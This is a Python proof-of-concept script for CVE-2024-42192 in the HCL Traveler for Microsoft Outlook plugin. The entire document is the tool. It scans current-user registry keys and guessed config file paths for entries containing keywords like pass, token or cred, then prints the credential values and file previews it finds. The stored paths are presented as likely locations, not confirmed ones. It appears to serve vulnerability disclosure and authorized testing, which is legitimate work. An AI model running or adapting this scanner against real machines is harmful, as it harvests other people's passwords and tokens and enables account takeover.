# CVE-2024-42192 - HCL Traveler for Microsoft Outlook Credential Leakage PoC
# This PoC demonstrates how an attacker with local access could potentially
# extract credentials stored by the HTMO Outlook plugin.
# Note: This is for educational and authorized testing purposes only.
import os
import winreg
import json
# Common locations where HTMO may store credentials on Windows
REGISTRY_PATHS = [
r"SOFTWARE\HCL\Traveler",
r"SOFTWARE\HCL\Notes",
r"SOFTWARE\IBM\Notes",
r"SOFTWARE\Microsoft\Office\Outlook\Addins\HCL Traveler",
]
CONFIG_FILE_PATHS = [
os.path.expandvars(r"%APPDATA%\HCL\Traveler\config.xml"),
os.path.expandvars(r"%LOCALAPPDATA%\HCL\Traveler\credentials.dat"),
os.path.expandvars(r"%APPDATA%\Microsoft\Outlook\HTMO_settings.ini"),
]
def check_registry_credentials():
"""Scan Windows registry for stored HTMO credentials."""
found_creds = []
for path in REGISTRY_PATHS:
try:
# Attempt to read from HKCU first (current user)
key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, path, 0, winreg.KEY_READ)
i = 0
while True:
try:
name, value, _ = winreg.EnumValue(key, i)
if any(kw in name.lower() for kw in ['pass', 'token', 'cred', 'auth', 'key']):
found_creds.append({"registry_path": path, "name": name, "value": value})
i += 1
except OSError:
break
winreg.CloseKey(key)
except (FileNotFoundError, PermissionError):
continue
return found_creds
def check_file_credentials():
"""Scan filesystem for HTMO credential files."""
found_creds = []
for filepath in CONFIG_FILE_PATHS:
expanded = os.path.expandvars(filepath)
if os.path.exists(expanded):
try:
with open(expanded, 'r', errors='ignore') as f:
content = f.read()
if any(kw in content.lower() for kw in ['password', 'token', 'credential']):
found_creds.append({"file": expanded, "preview": content[:500]})
except PermissionError:
found_creds.append({"file": expanded, "status": "access_denied"})
return found_creds
def main():
print("[*] CVE-2024-42192 - HTMO Credential Leakage Scanner")
print("[*] Scanning for potentially leaked credentials...\n")
reg_creds = check_registry_credentials()
file_creds = check_file_credentials()
if reg_creds:
print(f"[!] Found {len(reg_creds)} potential credentials in registry:")
for cred in reg_creds:
print(f" Path: {cred['registry_path']}\\\\{cred['name']}")
print(f" Value: {cred['value'][:50]}..." if len(str(cred['value'])) > 50 else f" Value: {cred['value']}")
if file_creds:
print(f"[!] Found {len(file_creds)} potential credential files:")
for cred in file_creds:
print(f" File: {cred['file']}")
if not reg_creds and not file_creds:
print("[+] No exposed credentials found (system may be patched).")
if __name__ == "__main__":
main()